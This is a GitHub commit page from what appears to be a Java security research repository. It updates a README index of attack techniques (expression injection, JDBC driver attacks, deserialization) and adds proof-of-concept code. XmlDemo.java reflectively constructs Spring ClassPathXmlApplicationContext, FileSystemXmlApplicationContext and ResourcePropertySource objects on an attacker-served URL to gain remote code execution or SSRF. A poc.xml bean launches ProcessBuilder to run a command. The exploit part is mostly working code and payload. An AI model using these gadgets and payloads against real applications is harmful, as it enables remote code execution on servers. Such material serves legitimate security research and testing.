Skip to content

Commit a29e87d

Browse files
committed
add Constructor EXP :)
1 parent b20c7d0 commit a29e87d

File tree

4 files changed

+111
-45
lines changed

4 files changed

+111
-45
lines changed

README.md

+47-45
Original file line numberDiff line numberDiff line change
@@ -120,47 +120,47 @@ Version Test
120120

121121
参考 [javaweb-sec](https://github.com/javaweb-sec/javaweb-sec) 有很详细的例子
122122

123-
- [x] Runtime
124-
- [x] ProcessBuilder
125-
- [x] ProcessImpl
126-
- [x] ProcessImpl & UnixProcess
127-
- [x] ProcessImpl & UnixProcess by unsafe + Native
128-
- [x] Thread
129-
- [x] ScriptEngine
130-
- [x] jni
123+
- Runtime
124+
- ProcessBuilder
125+
- ProcessImpl
126+
- ProcessImpl & UnixProcess
127+
- ProcessImpl & UnixProcess by unsafe + Native
128+
- Thread
129+
- ScriptEngine
130+
- jni
131131

132132
## [执行结果输出(InputStream 处理Demo)](Command)
133133

134-
- [x] java.lang.StringBuilder
135-
- [x] java.io.ByteArrayOutputStream
136-
- [x] java.util.Scanner
137-
- [x] java.io.BufferedReader
138-
- [x] java.io.InputStream.readNBytes > JDK 9
139-
- [x] org.springframework:spring-core
140-
- [x] org.apache.commons:commons-io
134+
- java.lang.StringBuilder
135+
- java.io.ByteArrayOutputStream
136+
- java.util.Scanner
137+
- java.io.BufferedReader
138+
- java.io.InputStream.readNBytes > JDK 9
139+
- org.springframework:spring-core
140+
- org.apache.commons:commons-io
141141

142142
# 0x04 [Expression inject](Expression)
143143

144144
## [OGNL](Expression/OGNLAttack)
145145

146-
- [x] 普通执行demo、jsEngine:get、set方式
147-
- [x] 有sout的回显 (Ps. 通过 Servlet 的回显移到 RceEcho 章节介绍)
146+
- 普通执行demo、jsEngine:get、set方式
147+
- 有sout的回显 (Ps. 通过 Servlet 的回显移到 RceEcho 章节介绍)
148148
- 明文
149149
- 套一层base64加密
150-
- [x] 探测用Payload
150+
- 探测用Payload
151151
- DNSLOG、HTTPLOG
152152
- 延时
153153

154154
## [EL](Expression/ELAttack)
155155

156-
- [x] runtime 回显
157-
- [x] jsEngine 回显
158-
- [x] Scriptlet 标记写法(放在这里对照)
156+
- runtime 回显
157+
- jsEngine 回显
158+
- Scriptlet 标记写法(放在这里对照)
159159

160160
## [SPEL](Expression/SPELAttack)
161161

162-
- [x] runtime 回显
163-
- [x] 探测用Payload
162+
- runtime 回显
163+
- 探测用Payload
164164
- DNSLOG、HTTPLOG
165165
- 延时
166166

@@ -170,70 +170,72 @@ Version Test
170170

171171
## [Mysql](JDBCAttack/MysqlAttack)
172172

173-
- [x] 文件读取
174-
- [x] 反序列化
173+
- 文件读取
174+
- 反序列化
175175
- statementInterceptors
176176
- detectCustomCollations
177177

178178
## [PostgreSQL](JDBCAttack/PostgreSQLAttack)
179179

180-
- [x] CVE-2022-21724 RCE
180+
- CVE-2022-21724 RCE
181181
- AbstractXmlApplicationContext 实现类
182-
- [x] 文件写入
182+
- 文件写入
183183
- loggerLevel / loggerFile
184184
- 原始方式写入 EL
185185
- 截断方式写入 jsp
186186

187187
## [H2database](JDBCAttack/H2Attack)
188188

189-
- [x] RUNSCRIPT 远程sql加载
190-
- [x] 代码执行
189+
- RUNSCRIPT 远程sql加载
190+
- 代码执行
191191
- INIT转义分号
192192
- TriggerJS
193193
- Groovy
194194

195195
## [IBMDB2](JDBCAttack/IBMDB2Attack)
196196

197-
- [x] JNDI
197+
- JNDI
198198

199199
## [ModeShape](JDBCAttack/ModeShapeAttack)
200200

201-
- [x] JNDI
201+
- JNDI
202202

203203
## [Apache Derby](JDBCAttack/DerbyAttack)
204204

205-
- [x] Serialize
205+
- Serialize
206206

207207
## [Sqlite](JDBCAttack/SqliteAttack)
208208

209-
- [x] RCE
209+
- RCE
210210

211211
# 0x06 [Serialization](Serialization)
212212

213213
## [Class load](Serialization/ClassLoad)
214214

215-
+ AppClassLoader
216-
+ URLCLassLoader
217-
+ BCEL
218-
+ TransletClassLoaderDemo
219-
+ Unsafe
220-
+ ReflectUtils
215+
- AppClassLoader
216+
- URLCLassLoader
217+
- BCEL
218+
- TransletClassLoaderDemo
219+
- Unsafe
220+
- ReflectUtils
221221

222222
## [XMLSerialization](Serialization/XMLSerialization)
223223

224224
### [JarBean](Serialization/XMLSerialization/JavaBean)
225225

226-
- [x] 命令执行 Runtime、ProcessBuilder、js
227-
- [x] 探测用Payload
226+
- 命令执行 Runtime、ProcessBuilder、js
227+
- 探测用Payload
228228
- DNSLOG、SOCKETLOG
229229
- 延时
230-
- [x] JNDI
231-
- [x] BCEL
232-
- [x] RemoteJar
230+
- JNDI
231+
- BCEL
232+
- RemoteJar
233233

234234
## [ConstructorEXP](Serialization/ConstructorEXP)
235235

236-
Class.forName 场景通过构造方法RCE
236+
通过构造方法触发RCE
237+
238+
- xml
237239

238240
### XStream
239241

Serialization/ConstructorEXP/pom.xml

+5
Original file line numberDiff line numberDiff line change
@@ -14,5 +14,10 @@
1414
</properties>
1515

1616
<dependencies>
17+
<dependency>
18+
<groupId>org.springframework</groupId>
19+
<artifactId>spring-context</artifactId>
20+
<version>5.3.28</version>
21+
</dependency>
1722
</dependencies>
1823
</project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
package org.example;
2+
3+
import java.lang.reflect.Constructor;
4+
5+
/**
6+
* @author Whoopsunix
7+
*
8+
* AbstractXmlApplicationContext 的实现 加载 xml
9+
*/
10+
public class XmlDemo {
11+
12+
public static void main(String[] args) throws Exception{
13+
resourcePropertySourceDemo();
14+
}
15+
16+
/**
17+
* rce
18+
*/
19+
// ClassPathXmlApplicationContext
20+
public static void classPathXmlApplicationContextDemo() throws Exception{
21+
Constructor constructor = Class.forName("org.springframework.context.support.ClassPathXmlApplicationContext").getDeclaredConstructor(String.class);
22+
constructor.setAccessible(true);
23+
constructor.newInstance("http://127.0.0.1:1234/poc.xml");
24+
25+
}
26+
27+
// FileSystemXmlApplicationContext
28+
public static void fileSystemXmlApplicationContextDemo() throws Exception{
29+
Constructor constructor = Class.forName("org.springframework.context.support.FileSystemXmlApplicationContext").getDeclaredConstructor(String.class);
30+
constructor.setAccessible(true);
31+
constructor.newInstance("http://127.0.0.1:1234/poc.xml");
32+
}
33+
34+
/**
35+
* SSRF
36+
*/
37+
// org.springframework.core.io.support.ResourcePropertySource
38+
public static void resourcePropertySourceDemo() throws Exception{
39+
Constructor constructor = Class.forName("org.springframework.core.io.support.ResourcePropertySource").getDeclaredConstructor(String.class, String.class);
40+
constructor.setAccessible(true);
41+
constructor.newInstance(null, "http://127.0.0.1:1234/11");
42+
}
43+
44+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
<?xml version="1.0" encoding="UTF-8" ?>
2+
<beans xmlns="http://www.springframework.org/schema/beans"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="
5+
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
6+
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
7+
<constructor-arg>
8+
<list>
9+
<value>open</value>
10+
<value>-a</value>
11+
<value>calculator</value>
12+
</list>
13+
</constructor-arg>
14+
</bean>
15+
</beans>

0 commit comments

Comments
 (0)